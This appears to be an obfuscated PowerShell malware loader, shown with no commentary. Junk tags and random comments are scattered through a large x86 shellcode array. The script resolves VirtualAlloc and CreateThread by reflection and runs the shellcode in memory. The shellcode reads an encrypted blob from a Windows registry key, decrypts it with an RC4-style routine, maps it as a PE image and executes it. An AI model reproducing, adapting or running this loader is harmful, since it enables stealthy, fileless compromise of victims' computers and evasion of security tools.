0xFF 0x00 0x00 0x00 <#fas#>0x89 0x84 0x9D 0x00 0xFB 0xFF 0xFF 0x46 0x83 0xC1 0x04 0x81 0xFE 0x00 0x01 0x00 0x00 0x75 0xB5 0x33 0xDB 0x33 0xFF <#npc#>0x6A <#sf#>0x40 <#hi#>0x68 0x00 0x30 0x00 0x00 0x8B 0x85 0x60 0xFF 0xFF 0xFF 0x50 <#ul#>0x6A 0x00 0xFF 0x55 0xA8 0x89 0x85 0x5C 0xFF 0xFF <#woa#>0xFF 0x83 0xBD 0x5C 0xFF 0xFF 0xFF <#uw#>0x00 0x74 0x29 0x8B 0x85 0x5C 0xFF 0xFF 0xFF 0x89 0x85 0x4C 0xFF 0xFF <#fdw#>0xFF 0x8B 0x85 0x60 0xFF 0xFF 0xFF 0x50 0x8B 0x85 0x64 0xFF 0xFF 0xFF 0x50 0x8B 0x85 0x4C 0xFF 0xFF <#jku#>0xFF 0x50 0xFF 0x95 0x78 0xFF 0xFF <#ge#>0xFF 0xEB 0x05 0x6A <#trb#>0x00 0xFF 0x55 0xA4 0x8B <#cj#>0x85 0x60 0xFF 0xFF 0xFF 0x48 <#xgk#>0x85 0xC0 0x72 0x74 0x40 0x89 0x85 0x3C 0xFF 0xFF 0xFF 0x33 0xF6 0x43 0x81 0xE3 0xFF 0x00 0x00 0x00 0x03 0xBC 0x9D 0x00 0xFB 0xFF 0xFF 0x81 0xE7 0xFF 0x00 <#zu#>0x00 <#rz#>0x00 0x8A 0x84 0x9D 0x00 0xFB 0xFF 0xFF 0x8B 0x94 0xBD 0x00 0xFB 0xFF <#pe#>0xFF 0x89 0x94 0x9D 0x00 0xFB 0xFF 0xFF 0x25 0xFF 0x00 0x00 0x00 0x89 0x84 0xBD 0x00 0xFB 0xFF 0xFF 0x8B 0x85 0x4C 0xFF 0xFF 0xFF 0x8A 0x04 0x30 0x8B <#ti#>0x94 0x9D 0x00 0xFB 0xFF 0xFF 0x03 0x94 0xBD 0x00 0xFB 0xFF 0xFF <#pa#>0x81 0xE2 0xFF 0x00 0x00 0x00 0x32 0x84 0x95 0x00 0xFB 0xFF 0xFF 0x8B <#vm#>0x95 0x4C 0xFF 0xFF 0xFF 0x88 0x04 0x32 0x46 0xFF 0x8D <#iye#>0x3C 0xFF 0xFF 0xFF 0x75 0x95 <#xyg#>0x8B 0x85 0x4C 0xFF 0xFF 0xFF 0x89 0x45 0xD4 0x8B 0x45 0xD4 <#oai#>0x66 <#nps#>0x81 <#dz#>0x38 0x4D 0x5A 0x0F 0x85 0xDA 0x02 0x00 0x00 <#gx#>0x8B 0x45 0xD4 0x8B 0x40 0x3C 0x03 0x85 0x4C 0xFF <#wwe#>0xFF 0xFF 0x89 0x45 0xD0 0x8B 0x45 0xD0 0x81 0x38 0x50 0x45 0x00 0x00 0x0F 0x85 0xBC 0x02 0x00 0x00 0x8B 0x45 0xD0 0x8B 0x58 0x50 <#oq#>0x03 0xDB 0x6A 0x40 0x68 0x00 0x30 0x00 0x00 0x53 0x6A 0x00 0xFF 0x55 0xA8 0x89 0x45 0xF8 0x83 <#xg#>0x7D <#cl#>0xF8 0x00 0x0F 0x84 0x9A 0x02 0x00 0x00 0x8B 0x45 0xD0 0x8B 0x40 0x54 0x50 0x8B <#is#>0x85 0x4C 0xFF 0xFF 0xFF 0x50 0x8B 0x45 0xF8 0x50 0xFF 0x95 0x78 0xFF 0xFF 0xFF 0x6A 0x04 0x8B 0x85 0x7C 0xFF 0xFF 0xFF 0x05 0xE0 0x00 0x00 0x00 0x50 0x8B 0x45 0xD0 0x8B 0x40 0x50 0x03 0x45 0xF8 <#ov#>0x50 0xFF 0x95 0x78 0xFF 0xFF 0xFF 0x8B 0x85 0x7C 0xFF 0xFF 0xFF 0x8B 0x80 <#oju#>0xE0 0x00 0x00 0x00 0x50 0x8B 0x85 0x4C 0xFF 0xFF 0xFF 0x50 0x8B 0x45 0xD0 0x8B 0x40 <#bc#>0x50 0x03 0x45 0xF8 0x83 0xC0 0x04 0x50 0xFF 0x95 0x78 0xFF <#el#>0xFF 0xFF 0x6A <#puq#>0x60 0x8B 0x85 0x7C 0xFF 0xFF <#cj#>0xFF 0x83 0xC0 0x7A 0x50 0x8B 0x45 0xD0 0x8B 0x40 0x50 0x03 0x45 0xF8 0x83 <#vvi#>0xC0 0x04 0x8B 0x95 0x7C 0xFF 0xFF 0xFF 0x03 0x82 0xE0 0x00 0x00 0x00 0x50 0xFF 0x95 0x78 0xFF <#nr#>0xFF <#thl#>0xFF 0x8B 0x45 0xD0 0x0F 0xB7 0x40 0x06 <#tet#>0x48 0x85 0xC0 0x7C 0x5F 0x40 0x89 0x85 0x3C 0xFF 0xFF 0xFF 0x33 0xF6 0x8B 0x55 0xD4 0x8B 0x52 0x3C 0x8B 0x85 0x4C 0xFF 0xFF 0xFF 0x03 0xD0 0x81 0xC2 0xF8 0x00 0x00 0x00 0x8B 0xCE 0xC1 0xE1 0x03 <#vi#>0x8D 0x0C 0x89 0x03 0xD1 <#fco#>0x89 0x95 0x50 0xFF 0xFF <#mk#>0xFF 0x8B <#si#>0x95 0x50 0xFF 0xFF 0xFF 0x8B 0x52 0x10 0x52 0x8B 0x95 0x50 0xFF 0xFF 0xFF 0x8B 0x52 0x14 0x03 0xD0 0x52 0x8B 0x85 0x50 0xFF 0xFF 0xFF 0x8B 0x40 0x0C 0x03 0x45 0xF8 0x50 0xFF 0x95 0x78 0xFF 0xFF 0xFF 0x46 0xFF <#lnc#>0x8D 0x3C 0xFF 0xFF 0xFF 0x75 0xAA 0x8B 0x45 0xD0 <#xem#>0x8B 0x40 0x34 <#mkz#>0x3B 0x45 0xF8 0x0F 0x84 0xCB 0x00 0x00 0x00 0x8B 0x45 0xD0 0x8B 0x55 0xF8 <#zci#>0x2B 0x50 0x34 0x89 0x55 0xD8 0x8B 0x45 0xF8 0x89 0x45 0xF0 0x8B 0x45 0xD0 0x83 0xB8 0xA4 0x00 0x00 <#ne#>0x00 0x00 0x0F 0x86 0x87 0x00 0x00 0x00 0x8B 0x45 0xD0 <#mcq#>0x8B 0x80 0xA0 0x00 0x00 0x00 <#ws#>0x03 0x45 0xF0 0x89 0x45 0xEC 0xEB 0x6E 0x8B <#qn#>0x45 0xEC 0x8B <#ors#>0x00 0x03 0x45 0xF0 0x89 0x45 0xE8 0x8B 0x45 0xEC 0x83 0xC0 0x08 0x89 0x45 0xE4 <#zeb#>0x8B 0x45 0xEC 0x8B 0x40 0x04 0x83 0xE8 0x08 0xD1 0xE8 <#mjb#>0x48 <#ld#>0x85 <#em#>0xC0 <#yz#>0x72 0x3E 0x40 0x89 0x85 0x3C 0xFF 0xFF 0xFF 0x8B 0x45 0xE4 0x66 0x8B 0x10 0x0F 0xB7 0xC2 0xC1 0xE8 <#zdc#>0x0C 0x8B 0xCA <#sy#>0x66 0x81 <#eco#>0xE1 0xFF 0x0F 0x0F 0xB7 0xC9 <#xno#>0x83 0xF8 0x03 0x75 0x10 0x8B 0x45 0xE8 0x03 0xC1 0x89 0x45 0xE0 0x8B 0x45 0xE0 0x8B 0x55 0xD8 0x01 0x10 0x83 0x45 0xE4 0x02 0xFF 0x8D 0x3C 0xFF <#jwa#>0xFF 0xFF <#lp#>0x75 0xC9 0x8B 0x45 0xEC 0x8B 0x40 0x04 0x03 0x45 0xEC 0x89 0x45 0xEC 0x8B 0x45 0xEC 0x83 0x38 0x00 0x77 0x8A 0x8B <#enc#>0x45 0xD0 0x8B 0x55 0xF8 <#vl#>0x89 0x50 0x34 0x68 0xF8 0x00 0x00 0x00 0x8B <#evh#>0x45 0xD0 0x50 0x8B 0x45 0xD4 0x8B 0x40 0x3C 0x03 0x45 0xF8 0x50 0xFF 0x95 0x78 0xFF 0xFF 0xFF 0x8B 0x45 0xD0 <#uyv#>0x05 0x80 0x00 0x00 0x00 0x89 0x45 0x90 0x8B 0x45 0x90 0x83 0x78 0x04 0x00 0x0F 0x86 0x9E 0x00 0x00 0x00 0x8B 0x45 0xD0 0x8B 0x80 0x80 0x00 0x00 0x00 0x03 0x45 0xF8 0x89 0x45 0x8C 0xEB 0x7F 0x03 0x7D <#yb#>0xF8 <#lrf#>0x57 0xFF 0x55 0xBC <#hk#>0x8B 0xD8 0x85 0xDB 0x74 0x72 0x8B 0x45 0x8C 0x83 0x38 0x00 0x74 <#whj#>0x0D 0x8B 0x45 0x8C 0x8B 0x00 0x03 0x45 <#he#>0xF8 0x89 0x45 0x88 0xEB 0x0C 0x8B 0x45 0x8C 0x8B 0x40 0x10 0x03 0x45 0xF8 0x89 0x45 0x88 0x8B <#ybs#>0x45 0x8C 0x8B 0x40 0x10 0x03 0x45 0xF8 0x89 0x45 0x84 <#qr#>0xEB 0x37 0x8B 0x45 <#ej#>0x88 0x8B 0x30 0xF7 0xC6 0x00 0x00 0x00 0x80 0x74 0x12 0x81 0xE6 0xFF 0xFF 0x00 0x00 0x56 0x53 0xFF 0x55 0xB8 <#cuw#>0x8B 0x55 0x84 0x89 0x02 0xEB 0x10 0x03 0x75 0xF8 0x83 0xC6 0x02 0x56 0x53 0xFF 0x55 0xB8 <#jud#>0x8B 0x55 <#iv#>0x84 0x89 0x02 0x83 0x45 0x88 0x04 0x83 0x45 0x84 0x04 0x8B <#fh#>0x45 0x88 0x83 0x38 0x00 0x75 0xC1 0x83 <#or#>0x45 0x8C <#zpa#>0x14 0x8B 0x45 0x8C 0x8B 0x78 <#aj#>0x0C 0x85 0xFF 0x0F 0x85 <#fyp#>0x73 0xFF 0xFF 0xFF 0x8B 0x45 0xD0 0x8B 0x40 0x28 0x03 0x45 0xF8 0x89 0x45 0xF4 0x31 0xC0 0x50 0x6A 0x01 0xFF 0x75 0xF8 0xFF 0x55 0xF4 0x6A 0x00 0xFF 0x55 0xA4 0x5F <#ia#>0x5E 0x5B 0x8B 0xE5 0x5D 0xC2 0x04 0x00 0x8D 0x40 0x00 0x73 0x6F 0x66 0x74 0x77 0x61 0x72 0x65 0x5C <#tor#>0x55 0x6B 0x4B 0x38 0x52 0x34 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 <#fkp#>0x00 0x00 0x00 0x00 0x00 0x00 <#ewe#>0x00 0x00 <#an#>0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x70 0x66 0x7A 0x31 0x78 0x79 0x44 0x62 0x71 0x67 0x00 0x00 <#qxa#>0x00 0x00 0x00 0x00 0x00 0x53 0xEE 0x89 0x61 0xBB 0xA0 0x31 0xB0 0x5D <#mds#>0x87 0x2D 0x49 <#ta#>0xF9 0x0D 0xC5 0x4F 0xAC 0x84 0x21 0xE3 0xD7 0x1B 0x30 0xB4 0x82 0x25 0x53 0x32 0x4A 0x4C 0x85 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x73 0x00 0x68 0x00 0x65 0x00 0x6C 0x00 0x6C 0x00 0x3C <#pl#>0x00 <#vdq#>0x3C 0x00 0x3A 0x00 0x3A <#sc#>0x00 0x3E 0x00 0x3E 0x00 0x73 0x00 0x68 0x00 0x65 0x00 0x6C 0x00 <#av#>0x6C 0x00 0x62 <#djc#>0x00 0x70 0x00 0x73 0x00 0x3A 0x00 0x3A 0x00 0x62 0x00 0x70 0x00 0x73 0x00 0x6E 0x00 0x75 0x00 0x6D 0x00 0x3A 0x00 0x38 0x00 0x36 0x00 0x34 0x00 0x3A 0x00 0x6E 0x00 0x75 0x00 0x6D 0x00 0x00 0x00 0x00 0x00 <#ib#>0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 <#nm#>0x00 0x00 0x00 <#ywi#>0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x1F 0x00 0x00 0x00 0x00 0xAA 0x06 0x00 0x55 0x8B 0xEC 0x60 0x8B 0x7D 0x08 0x8B 0x75 0x0C 0x8B 0x4D <#oqc#>0x10 0xF3 0xA4 0x61 0x5D 0xC2 0x0C 0x00 0x86 0x5E 0x88 0x53 0xBF 0xB4 0x07 0xE1 0x08 0x10 0xD9 0xCD 0xB6 0xB6 0xEB 0x1E 0xB8 0x09 0x94 0xB8 0x44 0x7B 0xC5 0x3E 0xD3 0xDD 0x7F 0x42 0xF3 0xE5 0xC7 0x16 0xD1 0x56 0xA2 0x7E 0x99 <#ho#>0x4D 0xBF 0x19 0x05 0x84 0xE0 0x47 0xB7 0x86 0x33 0xDC 0x45 0x38 0x15 0xED 0xF5 0x33 0x09 <#ov#>0x75 0xB4 0xBB; #omha $pr=([System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((gproc kernel32.dll VirtualAlloc) (gdelegate @([IntPtr],[UInt32],[UInt32],[UInt32]) ([UInt32])))).Invoke(0,$sc32.Length,0x3000,0x40); #hbjkh if($pr -ne 0){$memset=([System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((gproc msvcrt.dll memset) (gdelegate @([UInt32],[UInt32],[UInt32]) ([IntPtr])))); #dthuix for ($i=0;$i -le ($sc32.Length-1);$i++) {$memset.Invoke(($pr+$i) $sc32[$i] 1)}; #wrkbggp ([System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((gproc kernel32.dll CreateThread) (gdelegate @([IntPtr],[UInt32],[UInt32],[UInt32],[UInt32],[IntPtr]) ([IntPtr])))).Invoke(0,0,$pr,$pr,0,0); #qltkex }sleep(1200);}catch{}exit; #lwzv #magtengmuoxcpgrckntrjtlzogioqyxc #isnefouxzyef sleep(15);try{ #askzsqydg function gdelegate{ #abpatdden Param ([Parameter(Position=0,Mandatory=$True)] [Type[]] $Parameters [Parameter(Position=1)] [Type] $ReturnType=[Void]); #secfew $TypeBuilder=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName("ReflectedDelegate")) [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule("InMemoryModule",$false).DefineType("XXX","Class,Public,Sealed,AnsiClass,AutoClass",[System.MulticastDelegate]); #zgtdufzhas $TypeBuilder.DefineConstructor("RTSpecialName,HideBySig,Public",[System.Reflection.CallingConventions]::Standard,$Parameters).SetImplementationFlags("Runtime,Managed"); #eqinreeknk $TypeBuilder.DefineMethod("Invoke","Public,HideBySig,NewSlot,Virtual",$ReturnType,$Parameters).SetImplementationFlags("Runtime,Managed"); #xnrg return $TypeBuilder.CreateType();} #ubynm function gproc{ #ponbaxhuou Param ([Parameter(Position=0,Mandatory=$True)] [String] $Module [Parameter(Position=1,Mandatory=$True)] [String] $Procedure); #totlui $SystemAssembly=[AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split("\")[-1].Equals("System.dll")}; #ulldlp $UnsafeNativeMethods=$SystemAssembly.GetType("Microsoft.Win32.UnsafeNativeMethods"); #ophxlbnvcc return $UnsafeNativeMethods.GetMethod("GetProcAddress").Invoke($null,@([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr) $UnsafeNativeMethods.GetMethod("GetModuleHandle").Invoke($null,@($Module)))) $Procedure));} #kyjzenzom [Byte[]] $sc32 = 0x55 0x8B 0xEC 0x81 0xC4 0x00 0xFA 0xFF 0xFF 0x53 0x56 0x57 0x53 0x56 0x57 <#dh#>0xFC 0x31 0xD2 0x64 0x8B 0x52 0x30 0x8B 0x52 0x0C 0x8B 0x52 0x14 0x8B 0x72 0x28 <#faw#>0x6A 0x18 0x59 0x31 0xFF 0x31 0xC0 0xAC 0x3C 0x61 0x7C 0x02 0x2C 0x20 0xC1 0xCF 0x0D 0x01 0xC7 0xE2 0xF0 0x81 0xFF 0x5B 0xBC 0x4A 0x6A 0x8B 0x5A 0x10 0x8B 0x12 0x75 <#bwf#>0xDB 0x89 0x5D 0xFC 0x5F <#nl#>0x5E 0x5B 0x8B 0x45 0xFC 0x89 0x45 0xD4 0x8B 0x45 0xD4 0x66 0x81 0x38 0x4D 0x5A 0x0F 0x85 0x0F 0x02 0x00 0x00 0x8B 0x45 0xFC <#nac#>0x33 0xD2 0x52 0x50 0x8B 0x45 0xD4 0x8B 0x40 0x3C 0x99 0x03 0x04 0x24 0x13 0x54 <#fwa#>0x24 0x04 0x83 0xC4 0x08 0x89 0x45 0xD0 0x8B 0x45 0xD0 0x81 0x38 0x50 0x45 0x00 0x00 0x0F 0x85 0xE5 0x01 0x00 0x00 0x8B 0x45 0xD0 0x8B 0x40 <#cmo#>0x78 0x03 0x45 0xFC 0x89 0x45 0xCC 0x8B 0x45 0xCC 0x8B 0x40 0x18 0x85 0xC0 0x0F 0x8C 0xCB <#ox#>0x01 <#km#>0x00 0x00 0x40 0x89 0x85 0x3C 0xFF <#wkc#>0xFF 0xFF 0x33 0xF6 0x8B 0x45 0xFC 0x33 0xD2 0x52 0x50 0x8B 0x45 0xCC 0x8B 0x40 <#pj#>0x20 0x33 <#ycx#>0xD2 0x52 0x50 0x8B 0xC6 0xC1 0xE0 0x02 0x99 0x03 0x04 0x24 0x13 0x54 0x24 0x04 0x83 0xC4 0x08 0x03 <#kq#>0x04 0x24 0x13 <#wbn#>0x54 0x24 0x04 0x83 0xC4 0x08 0x8B 0x08 0x03 0x4D 0xFC 0x81 0x39 0x4C 0x6F <#ehi#>0x61 0x64 0x75 0x56 0x8D 0x41 0x04 0x81 0x38 0x4C 0x69 0x62 0x72 0x75 0x4B 0x8D 0x41 0x08 0x81 0x38 0x61 0x72 0x79 0x41 0x75 0x40 0x8D 0x41 0x0C 0x80 0x38 0x00 0x75 0x38 0x8B <#xju#>0x45 0xCC 0x8B 0x40 0x24 0x03 0x45 0xFC 0x33 0xD2 0x52 0x50 0x8B 0xC6 0x03 0xC0 0x99 0x03 0x04 0x24 0x13 0x54 0x24 <#mh#>0x04 0x83 0xC4 0x08 0x66 0x8B <#hcd#>0x00 <#cvn#>0x8B 0x55 0xCC 0x8B 0x52 0x1C 0x03 0x55 0xFC 0x0F 0xB7 0xC0 0xC1 0xE0 0x02 0x03 0xD0 0x8B 0x02 0x03 0x45 0xFC <#djs#>0x89 0x45 0xBC 0x81 0x39 0x47 0x65 0x74 0x50 0x75 0x56 0x8D 0x41 0x04 0x81 0x38 0x72 0x6F 0x63 <#kmn#>0x41 0x75 0x4B 0x8D 0x41 0x08 0x81 0x38 0x64 0x64 0x72 0x65 0x75 0x40 0x8D 0x41 0x0E 0x80 0x38 <#odm#>0x00 0x75 0x38 0x8B 0x45 0xCC 0x8B 0x40 0x24 0x03 0x45 0xFC 0x33 0xD2 0x52 0x50 0x8B <#ja#>0xC6 0x03 0xC0 0x99 0x03 0x04 0x24 0x13 0x54 0x24 0x04 <#zo#>0x83 0xC4 0x08 0x66 0x8B 0x00 0x8B <#xo#>0x55 0xCC 0x8B 0x52 0x1C 0x03 0x55 0xFC 0x0F 0xB7 0xC0 0xC1 <#sg#>0xE0 0x02 0x03 0xD0 <#esv#>0x8B 0x02 0x03 0x45 <#lyl#>0xFC 0x89 0x45 0xB8 0x81 0x39 0x56 0x69 0x72 0x74 0x75 0x56 0x8D 0x41 0x04 0x81 0x38 0x75 0x61 0x6C 0x41 0x75 0x4B 0x8D 0x41 0x08 0x81 0x38 0x6C 0x6C 0x6F 0x63 0x75 0x40 0x8D 0x41 0x0C 0x80 0x38 0x00 0x75 <#ak#>0x38 0x8B 0x45 0xCC 0x8B 0x40 0x24 0x03 <#ba#>0x45 0xFC 0x33 0xD2 0x52 0x50 0x8B 0xC6 0x03 0xC0 0x99 0x03 0x04 0x24 0x13 0x54 0x24 0x04 0x83 0xC4 0x08 0x66 0x8B 0x00 0x8B 0x55 0xCC 0x8B 0x52 0x1C 0x03 0x55 0xFC 0x0F 0xB7 0xC0 0xC1 0xE0 <#ar#>0x02 0x03 0xD0 0x8B 0x02 0x03 0x45 0xFC 0x89 0x45 0xA8 0x81 0x39 0x45 0x78 0x69 0x74 0x75 0x63 0x8D 0x41 <#fk#>0x04 0x81 <#csw#>0x38 0x50 0x72 0x6F 0x63 0x75 0x58 0x8D 0x41 <#gyb#>0x08 0x80 0x38 0x65 0x75 0x50 0x8D 0x41 0x09 0x80 0x38 0x73 <#ujs#>0x75 <#bfi#>0x48 0x8D 0x41 0x0A 0x80 0x38 0x73 <#qa#>0x75 0x40 0x83 0xC1 0x0B 0x80 0x39 0x00 0x75 0x38 0x8B 0x45 0xCC 0x8B 0x40 0x24 0x03 <#wxj#>0x45 0xFC 0x33 0xD2 0x52 0x50 0x8B 0xC6 0x03 0xC0 0x99 0x03 0x04 0x24 0x13 0x54 0x24 0x04 0x83 0xC4 <#mwn#>0x08 0x66 0x8B 0x00 0x8B 0x55 0xCC 0x8B 0x52 0x1C 0x03 0x55 0xFC 0x0F 0xB7 0xC0 0xC1 0xE0 0x02 0x03 0xD0 0x8B 0x02 0x03 0x45 0xFC 0x89 0x45 0xA4 0x46 0xFF 0x8D 0x3C 0xFF 0xFF 0xFF 0x0F 0x85 0x3E 0xFE 0xFF 0xFF 0xC6 0x85 0x2F 0xFF 0xFF 0xFF 0x61 0xC6 0x85 0x30 0xFF 0xFF 0xFF 0x64 0xC6 0x85 <#of#>0x31 0xFF 0xFF 0xFF 0x76 0xC6 0x85 0x32 0xFF 0xFF 0xFF 0x61 0xC6 0x85 0x33 <#li#>0xFF 0xFF 0xFF 0x70 0xC6 0x85 0x34 0xFF 0xFF 0xFF 0x69 0xC6 0x85 0x35 0xFF 0xFF 0xFF 0x33 0xC6 0x85 0x36 0xFF 0xFF 0xFF 0x32 0xC6 0x85 0x37 0xFF 0xFF 0xFF 0x2E 0xC6 <#ak#>0x85 0x38 0xFF 0xFF 0xFF 0x64 0xC6 0x85 0x39 0xFF 0xFF 0xFF 0x6C 0xC6 0x85 0x3A <#bo#>0xFF <#bm#>0xFF 0xFF 0x6C 0xC6 0x85 0x3B 0xFF 0xFF 0xFF 0x00 0x8D 0x85 0x2F 0xFF 0xFF 0xFF <#dqn#>0x50 0xFF 0x55 0xBC 0x8B 0xD8 0x85 0xDB 0x75 <#csv#>0x05 0x6A 0x00 0xFF 0x55 0xA4 0x89 0x5D 0xD4 0x8B <#bdd#>0x45 0xD4 0x66 0x81 0x38 0x4D <#kwc#>0x5A 0x0F 0x85 0x4F 0x01 0x00 0x00 0x8B 0xC3 0x33 0xD2 0x52 0x50 0x8B 0x45 0xD4 0x8B 0x40 0x3C 0x99 0x03 <#thb#>0x04 0x24 <#ky#>0x13 0x54 0x24 0x04 0x83 <#sr#>0xC4 0x08 0x89 0x45 0xD0 0x8B 0x45 0xD0 0x81 0x38 0x50 0x45 0x00 0x00 0x0F 0x85 0x26 0x01 0x00 0x00 0x8B 0x45 0xD0 0x8B 0x40 0x78 0x03 0xC3 0x89 <#hdn#>0x45 0xCC 0x8B 0x45 0xCC 0x8B 0x40 0x18 0x85 0xC0 0x0F <#zsx#>0x8C 0x0D 0x01 0x00 0x00 0x40 0x89 0x85 0x3C 0xFF 0xFF 0xFF 0x33 0xF6 0x8B 0xC3 0x33 0xD2 0x52 0x50 0x8B 0x45 0xCC 0x8B 0x40 0x20 0x33 0xD2 0x52 <#yep#>0x50 0x8B 0xC6 0xC1 0xE0 0x02 0x99 0x03 0x04 0x24 0x13 0x54 0x24 0x04 0x83 0xC4 0x08 0x03 0x04 <#zo#>0x24 0x13 0x54 0x24 0x04 <#erw#>0x83 0xC4 0x08 0x8B 0x08 0x03 <#uoq#>0xCB 0x81 0x39 0x52 0x65 0x67 0x4F 0x75 0x5B 0x8D 0x41 0x04 0x81 0x38 <#qdp#>0x70 0x65 0x6E 0x4B 0x75 0x50 0x8D 0x41 0x08 0x81 0x38 0x65 0x79 0x45 0x78 0x75 0x45 0x8D 0x41 0x0C 0x80 0x38 <#mj#>0x41 0x75 0x3D <#lsp#>0x8D 0x41 0x0D 0x80 0x38 0x00 0x75 0x35 0x8B 0x45 0xCC 0x8B 0x40 0x24 0x03 0xC3 0x33 0xD2 <#dyq#>0x52 0x50 0x8B 0xC6 0x03 0xC0 0x99 0x03 0x04 0x24 0x13 0x54 0x24 0x04 0x83 0xC4 0x08 0x66 0x8B 0x00 0x8B 0x55 0xCC <#kgn#>0x8B 0x52 <#qcu#>0x1C 0x03 0xD3 0x0F 0xB7 0xC0 0xC1 0xE0 0x02 0x03 0xD0 <#zo#>0x8B 0x02 0x03 0xC3 0x89 0x45 <#tqe#>0xB0 0x81 0x39 0x52 0x65 0x67 0x51 0x75 0x5E 0x8D 0x41 0x04 0x81 0x38 0x75 0x65 0x72 0x79 0x75 0x53 0x8D 0x41 0x08 0x81 0x38 0x56 0x61 0x6C 0x75 0x75 0x48 0x8D 0x41 0x0C 0x81 0x38 0x65 0x45 0x78 0x41 0x75 0x3D 0x83 0xC1 0x10 0x80 0x39 <#sa#>0x00 0x75 0x35 0x8B 0x45 0xCC 0x8B 0x40 0x24 0x03 0xC3 0x33 <#fb#>0xD2 0x52 0x50 0x8B <#iu#>0xC6 0x03 0xC0 0x99 0x03 0x04 <#wp#>0x24 0x13 0x54 0x24 0x04 0x83 0xC4 0x08 0x66 0x8B 0x00 0x8B 0x55 0xCC 0x8B 0x52 0x1C 0x03 0xD3 0x0F 0xB7 0xC0 0xC1 0xE0 0x02 0x03 0xD0 0x8B 0x02 <#wb#>0x03 0xC3 0x89 0x45 0xAC 0x46 0xFF 0x8D 0x3C 0xFF 0xFF 0xFF 0x0F 0x85 0xFC 0xFE 0xFF 0xFF 0x8B 0x45 0x08 0x05 0x48 0x0A 0x00 0x00 <#zo#>0x89 0x85 <#hz#>0x7C 0xFF 0xFF 0xFF <#cv#>0x8B 0x85 0x7C 0xFF 0xFF 0xFF 0x05 0xE4 0x00 0x00 0x00 0x89 0x85 0x78 0xFF 0xFF <#bww#>0xFF 0x33 0xDB 0x33 0xC0 0x89 0x85 0x64 0xFF 0xFF <#be#>0xFF 0x33 0xC0 0x89 0x85 0x60 0xFF 0xFF 0xFF 0x8D 0x85 0x70 0xFF 0xFF 0xFF 0x50 0x6A 0x01 0x6A 0x00 0x8B 0x85 0x7C 0xFF 0xFF 0xFF 0x50 0x68 0x02 0x00 0x00 0x80 0xFF 0x55 0xB0 0x85 0xC0 0x0F 0x85 0x86 0x00 0x00 0x00 0x8D 0x85 0x60 0xFF 0xFF 0xFF 0x50 0x6A 0x00 <#bnk#>0x8D 0x85 0x6C 0xFF 0xFF 0xFF 0x50 0x6A 0x00 0x8B 0x85 0x7C 0xFF 0xFF 0xFF 0x83 0xC0 0x41 0x50 0x8B 0x85 <#lwe#>0x70 0xFF 0xFF 0xFF 0x50 0xFF 0x55 0xAC 0x85 0xC0 <#cy#>0x75 0x5C 0x83 0xBD 0x60 0xFF 0xFF 0xFF 0x64 0x76 0x53 0x6A 0x40 0x68 0x00 0x30 0x00 0x00 0x8B 0x85 0x60 0xFF 0xFF 0xFF 0x50 0x6A 0x00 0xFF 0x55 0xA8 0x89 0x85 0x64 0xFF 0xFF 0xFF 0x83 0xBD 0x64 0xFF 0xFF <#tpl#>0xFF 0x00 0x74 0x31 0x8D 0x85 0x60 0xFF <#pan#>0xFF 0xFF 0x50 0x8B 0x85 0x64 0xFF 0xFF 0xFF 0x50 0x8D 0x85 0x6C 0xFF 0xFF 0xFF 0x50 0x6A 0x00 0x8B 0x85 0x7C 0xFF 0xFF 0xFF 0x83 0xC0 0x41 0x50 0x8B <#tv#>0x85 0x70 0xFF 0xFF 0xFF 0x50 0xFF 0x55 0xAC 0x85 0xC0 0x75 0x02 0xB3 0x01 0x33 0xC0 0x89 0x85 0x70 0xFF 0xFF 0xFF 0x84 0xDB 0x0F 0x85 0xB8 0x00 0x00 0x00 0x33 0xC0 0x89 0x85 0x64 <#rzv#>0xFF 0xFF 0xFF 0x33 0xC0 0x89 0x85 0x60 0xFF 0xFF 0xFF 0x8D 0x85 0x70 0xFF 0xFF <#zu#>0xFF 0x50 0x6A 0x01 0x6A 0x00 0x8B 0x85 0x7C 0xFF 0xFF <#pv#>0xFF 0x50 0x68 0x01 <#kx#>0x00 0x00 0x80 <#nxw#>0xFF 0x55 <#mu#>0xB0 0x85 0xC0 0x0F 0x85 0x86 0x00 0x00 0x00 0x8D 0x85 0x60 0xFF 0xFF <#sz#>0xFF 0x50 0x6A 0x00 0x8D 0x85 0x6C 0xFF 0xFF <#zhb#>0xFF 0x50 0x6A 0x00 0x8B 0x85 0x7C 0xFF 0xFF 0xFF 0x83 0xC0 0x41 0x50 0x8B 0x85 0x70 0xFF 0xFF 0xFF 0x50 0xFF 0x55 0xAC 0x85 0xC0 <#tf#>0x75 0x5C 0x83 0xBD 0x60 0xFF 0xFF 0xFF 0x64 0x76 0x53 <#yx#>0x6A 0x40 0x68 0x00 0x30 0x00 0x00 0x8B 0x85 0x60 0xFF 0xFF 0xFF 0x50 0x6A <#sa#>0x00 0xFF 0x55 0xA8 0x89 0x85 0x64 0xFF 0xFF 0xFF 0x83 0xBD 0x64 0xFF <#sz#>0xFF 0xFF 0x00 0x74 <#qsf#>0x31 0x8D 0x85 0x60 0xFF 0xFF 0xFF 0x50 0x8B 0x85 0x64 0xFF <#thl#>0xFF 0xFF 0x50 0x8D 0x85 0x6C 0xFF 0xFF 0xFF 0x50 0x6A 0x00 0x8B 0x85 0x7C 0xFF 0xFF 0xFF 0x83 <#pdl#>0xC0 0x41 0x50 0x8B 0x85 0x70 0xFF 0xFF 0xFF 0x50 0xFF <#zr#>0x55 0xAC 0x85 0xC0 0x75 0x02 <#hgl#>0xB3 0x01 0x84 0xDB 0x75 0x05 0x6A 